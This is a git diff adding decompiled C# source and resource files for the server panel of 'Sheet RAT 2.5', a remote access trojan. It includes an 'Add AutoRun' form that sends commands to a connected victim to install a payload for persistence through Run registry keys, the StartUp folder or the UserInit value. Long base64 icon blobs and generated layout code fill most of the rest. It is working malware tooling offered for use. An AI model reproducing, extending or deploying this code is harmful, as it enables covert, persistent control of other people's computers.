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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormAddAutoRun.cs b/Server/Server/Forms/FormAddAutoRun.cs new file mode 100644 index 0000000..50f6d4b --- /dev/null +++ b/Server/Server/Forms/FormAddAutoRun.cs @@ -0,0 +1,268 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormAddAutoRun +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormAddAutoRun : MetroForm +{ + public Clients clietns; + private IContainer components; + private MetroButton button1; + private MetroLabel metroLabel1; + private MetroLabel metroLabel2; + private MetroCheckBox MyFile; + private MetroLabel metroLabel3; + private MetroTextBox Path; + private MetroTextBox RegName; + private MetroComboBox RegPath; + public Timer timer1; + + public FormAddAutoRun() => this.InitializeComponent(); + + private void button1_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.RegPath.Text) || string.IsNullOrEmpty(this.Path.Text) || this.RegPath.Text != "UserInit" && string.IsNullOrEmpty(this.RegName.Text)) + return; + this.clietns.Send((object) $"Add<@>{this.RegName.Text}<@>{this.Path.Text}<@>{this.RegPath.Text}"); + this.Close(); + } + + private void FormFileAddAutoRun_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.RegName.Theme = Customs.customs.Theme; + this.RegPath.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.Path.Theme = Customs.customs.Theme; + this.MyFile.Theme = Customs.customs.Theme; + this.button1.Theme = Customs.customs.Theme; + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.RegName.Style = Customs.customs.Style; + this.RegPath.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.Path.Style = Customs.customs.Style; + this.MyFile.Style = Customs.customs.Style; + this.button1.Style = Customs.customs.Style; + } + this.Refresh(); + } + + private void MyFile_CheckedChanged(object sender, EventArgs e) + { + this.Path.Enabled = !this.MyFile.Checked; + if (this.MyFile.Checked) + this.Path.Text = "%Payload%"; + else + this.Path.Text = ""; + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.clietns.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormAddAutoRun)); + this.button1 = new MetroButton(); + this.metroLabel1 = new MetroLabel(); + this.metroLabel2 = new MetroLabel(); + this.MyFile = new MetroCheckBox(); + this.metroLabel3 = new MetroLabel(); + this.Path = new MetroTextBox(); + this.RegName = new MetroTextBox(); + this.RegPath = new MetroComboBox(); + this.timer1 = new Timer(this.components); + this.SuspendLayout(); + this.button1.Location = new Point(17, 221); + this.button1.Margin = new Padding(2); + this.button1.Name = "button1"; + this.button1.Size = new Size(56, 19); + this.button1.Style = MetroColorStyle.Lime; + this.button1.TabIndex = 4; + this.button1.Text = "Set"; + this.button1.Theme = MetroThemeStyle.Dark; + this.button1.UseSelectable = true; + this.button1.UseStyleColors = true; + this.button1.Click += new EventHandler(this.button1_Click); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(17, 72); + this.metroLabel1.Margin = new Padding(2, 0, 2, 0); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(103, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 5; + this.metroLabel1.Text = "Name Auto Run"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(17, 121); + this.metroLabel2.Margin = new Padding(2, 0, 2, 0); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(67, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 8; + this.metroLabel2.Text = "PathToFile"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.MyFile.Anchor = AnchorStyles.Top | AnchorStyles.Right; + this.MyFile.AutoSize = true; + this.MyFile.Location = new Point(490, 125); + this.MyFile.Margin = new Padding(2); + this.MyFile.Name = "MyFile"; + this.MyFile.Size = new Size(58, 15); + this.MyFile.Style = MetroColorStyle.Lime; + this.MyFile.TabIndex = 217; + this.MyFile.Text = "MyFile"; + this.MyFile.Theme = MetroThemeStyle.Dark; + this.MyFile.UseSelectable = true; + this.MyFile.UseStyleColors = true; + this.MyFile.CheckedChanged += new EventHandler(this.MyFile_CheckedChanged); + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(17, 167); + this.metroLabel3.Margin = new Padding(2, 0, 2, 0); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(63 /*0x3F*/, 19); + this.metroLabel3.Style = MetroColorStyle.Lime; + this.metroLabel3.TabIndex = 218; + this.metroLabel3.Text = "Auto Run"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.Path.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.Path.CustomButton.Image = (Image) null; + this.Path.CustomButton.Location = new Point(514, 1); + this.Path.CustomButton.Name = ""; + this.Path.CustomButton.Size = new Size(21, 21); + this.Path.CustomButton.Style = MetroColorStyle.Blue; + this.Path.CustomButton.TabIndex = 1; + this.Path.CustomButton.Theme = MetroThemeStyle.Light; + this.Path.CustomButton.UseSelectable = true; + this.Path.CustomButton.Visible = false; + this.Path.Lines = new string[0]; + this.Path.Location = new Point(18, 145); + this.Path.MaxLength = (int) short.MaxValue; + this.Path.Name = "Path"; + this.Path.PasswordChar = char.MinValue; + this.Path.ScrollBars = ScrollBars.None; + this.Path.SelectedText = ""; + this.Path.SelectionLength = 0; + this.Path.SelectionStart = 0; + this.Path.ShortcutsEnabled = true; + this.Path.Size = new Size(536, 23); + this.Path.Style = MetroColorStyle.Lime; + this.Path.TabIndex = 219; + this.Path.Theme = MetroThemeStyle.Dark; + this.Path.UseSelectable = true; + this.Path.UseStyleColors = true; + this.Path.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Path.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.RegName.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.RegName.CustomButton.Image = (Image) null; + this.RegName.CustomButton.Location = new Point(514, 1); + this.RegName.CustomButton.Name = ""; + this.RegName.CustomButton.Size = new Size(21, 21); + this.RegName.CustomButton.Style = MetroColorStyle.Blue; + this.RegName.CustomButton.TabIndex = 1; + this.RegName.CustomButton.Theme = MetroThemeStyle.Light; + this.RegName.CustomButton.UseSelectable = true; + this.RegName.CustomButton.Visible = false; + this.RegName.Lines = new string[0]; + this.RegName.Location = new Point(18, 94); + this.RegName.MaxLength = (int) short.MaxValue; + this.RegName.Name = "RegName"; + this.RegName.PasswordChar = char.MinValue; + this.RegName.ScrollBars = ScrollBars.None; + this.RegName.SelectedText = ""; + this.RegName.SelectionLength = 0; + this.RegName.SelectionStart = 0; + this.RegName.ShortcutsEnabled = true; + this.RegName.Size = new Size(536, 23); + this.RegName.Style = MetroColorStyle.Lime; + this.RegName.TabIndex = 220; + this.RegName.Theme = MetroThemeStyle.Dark; + this.RegName.UseSelectable = true; + this.RegName.UseStyleColors = true; + this.RegName.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.RegName.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.RegPath.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.RegPath.FontSize = MetroComboBoxSize.Small; + this.RegPath.FormattingEnabled = true; + this.RegPath.ItemHeight = 19; + this.RegPath.Items.AddRange(new object[5] + { + (object) "Current User", + (object) "Local Machine", + (object) "WOW64 32Node", + (object) "StartUp", + (object) "UserInit" + }); + this.RegPath.Location = new Point(18, 189); + this.RegPath.Name = "RegPath"; + this.RegPath.Size = new Size(536, 25); + this.RegPath.Style = MetroColorStyle.Lime; + this.RegPath.TabIndex = 221; + this.RegPath.Theme = MetroThemeStyle.Dark; + this.RegPath.UseSelectable = true; + this.RegPath.UseStyleColors = true; + this.timer1.Enabled = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(588, 268); + this.Controls.Add((Control) this.RegPath); + this.Controls.Add((Control) this.RegName); + this.Controls.Add((Control) this.Path); + this.Controls.Add((Control) this.metroLabel3); + this.Controls.Add((Control) this.MyFile); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.button1); + this.ForeColor = Color.Yellow; + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormAddAutoRun); + this.Padding = new Padding(15, 60, 15, 16 /*0x10*/); + this.Style = MetroColorStyle.Lime; + this.Text = "Add AutoRun"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormFileAddAutoRun_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormAddAutoRun.resx b/Server/Server/Forms/FormAddAutoRun.resx new file mode 100644 index 0000000..ee1e63a --- /dev/null +++ b/Server/Server/Forms/FormAddAutoRun.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAMFhAAACAAABAAEAAAAAAAEAIACrYQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAYXJJREFUeNrtnXeYXVXV/z9r73Num5qZTHojoYTeewsaikrxtaGv9bWLBQELihXEFwRURAGx/1BfFKWIImDAAFJC7yUE0uuUTL/3nrLX7487E5IQkrkzkyEzc+7zzAOZ+dxz9l57fU/Ze+21ZO7cOWkgAHTevPnMnTuHjT4CZAALhAmXcAk3MrgNwNy5cwRQXvsRIA14QAQUEy7hEm5kcSYxQsIl3OjlBNjSY0NirIRLuJHPpSQRf8Il3OjlTGKEhEu4UcvFXmKEhEu40cuZxAgJl3Cjl/N4dZ0wMVbCJdwo47xE/KOTazzwDDJNz/PuX32bOw/Z2ccY43esDB6+uDMYd//fcDaFKoR4TH3gAhCT2G8Ech4bRQglxhrZ3Pp9/gdXMYmYGFzIi1/8FtcjdZrK1UbZhlxUMdaOfeiOSL10B6qdzrn2jClG919xN0d+7qi0Gj+x8wji5s2bn0QCjg5Ode3Bn0e8KlQUUVOhGu5nXPhm0IMRb5YarxYR23PMArAKeAZ193udax+sff7PKytWPlAMq6aEzkurS1Uldh4B3OZxAImxRhgncVHXHHMhaBHUZER0LqofxUXHCFqvYsDYnq9u/lFwcSguXgx6I8b7jQ3iF8OMj8Wj8tEfkikWEjsnkYAJtyNyJuzStUddgFpFkZ0EvoLq+9C4RtTRB/GzgRMLIk8reqmK+7NRrzDjL6fRPemwZDyGcSSgScQ/QsUfFXTNkd8jygqKHCZwLaqf7pf4je29V+wtyM9E7XedUPuP2/Ik4zGsOd/OnDkjMdZI49TpqsPOx2ZDJJAjRbgG9CB0M1H3VfybcimBQ0W1dtrtNz2SW/VwpF4mTsZjWHJx7wUgMdYI4tr3+ySaTqFqdkP4Oej+2xB1X8Xfyxk03s+lqhT0PzNv/nN357QJqPGS8Rhuc0Q9qwCJsUYIt+6Az+LSVaBUGcNVoO8fZPFvxEkrmI8ZF98Q+R4T7vtBMh7DjDOUIgETY40QLvay+J7BGP0vVN+x/cRvQLxajD0n9vxJokLTQZ9PxmOYcYYkEnDEcM0Hfx7jeYSxa0D5OBpnt5v4X50YPFSUd8aeIdP0QjIew4wzlCIBE2ONAE7SWcRFGI2PRaODtqv4X+UsIu+xIXUP/uLrJOMxvCIBDUkY8IjhtKMJ29WYEhedJKrZIRB/72dvIdr/HTPET8Zj+HBz585JcgKOJO7xSz+IjfITUD10CMUPqjUShUcW6yd7qCbjMYw4s3GK4MRYw5s7da+qlPOz09TYCUMmfhQ0BnS31tnv9ib85+5kPIYPl0QCjiTO2bR1qarxiJcZMvH3csZO6Jx+jH36rOuT8RhGkYBeYoSRw1Uuby44P5dGxBtS8Zf2ClQ461vRZDyGERebxAgjh3vk+02RitEhF3/vkmAi/uHGFZKcgCOIq1j5IAIdPf8eOvGXuA6ESCUZj+HEJZGAI4jricVfBeSHWPwAq0TJ+90tyXgkkYAJ94ZwCjhdWboIDKn4AZ43GgVjH/5xMh5JJGDCvVGcGtuM6kNDLP5W4KG2WW/B+RXJeAwTL